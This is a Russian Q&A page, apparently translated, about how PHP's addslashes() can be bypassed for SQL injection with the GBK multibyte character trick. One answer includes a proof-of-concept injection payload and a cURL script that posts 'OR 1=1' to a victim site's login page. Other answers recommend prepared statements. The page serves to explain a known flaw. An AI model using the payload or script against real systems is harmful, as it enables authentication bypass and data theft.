Примеры SQL-инъекций через addlashes ()? - PullRequest
53 голосов
/ 14 мая 2009

В PHP я знаю, что mysql_real_escape намного безопаснее, чем addslashes. Тем не менее, я не смог найти пример ситуации, когда addslashes допускает SQL-инъекцию.

Кто-нибудь может привести примеры?

Ответы [ 4 ]

43 голосов
/ 14 мая 2009

Ну, вот статья, которую вы хотите .

По сути, атака работает так: addslashes() помещает обратную косую черту в середине многобайтового символа, так что обратная косая черта теряет свое значение, будучи частью действительной многобайтовой последовательности.

Общая оговорка из статьи:

Этот тип атаки возможен с любой кодировкой символов, где есть допустимый многобайтовый символ, который заканчивается на 0x5c, потому что addslashes() можно обмануть, чтобы создать действительный многобайтовый символ вместо того, чтобы избежать единственной кавычки, которая следует. UTF-8 не подходит это описание.

4 голосов
/ 19 октября 2012

Крис Шифлетт ясно объясняет приведенным ниже примером: это, конечно, сработает, если вы попробуете это при использовании кодировки GBK в вашей базе данных. Даже я попробовал это, это доказывает, что есть шансы для внедрения SQL, хотя они очень малы, но кто-то с хорошими знаниями и способностями может легко ввести. Вот пример ...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Хотя использование addlashes () или magic_quotes_gpc обычно считается несколько безопасным, использование GBK сделает их практически бесполезными. Следующий скрипт PHP cURL сможет использовать инъекцию, надеюсь, это поможет вам немного больше понять:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
3 голосов
/ 30 июня 2012

Как дополнение для читателей ответы здесь: Эта ошибка MySQL уже исправлена:)

Кроме того, всегда полезно использовать подготовленные заявления. Это самый беспроблемный способ запуска запросов (и, в некоторых случаях, самый производительный). И это спасло бы вас от этого недостатка.

1 голос
/ 02 июля 2014

mysql_real_escape_string () в сравнении с подготовленными утверждениями четко объясняет mysql_real_escape_string () не на 100% безопасен .

с использованием mysql_set_charset ('GBK') для замены mysql_query ("SET CHARACTER SET 'GBK") * , mysql_real_escape_string () может быть на 100% безопасным.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...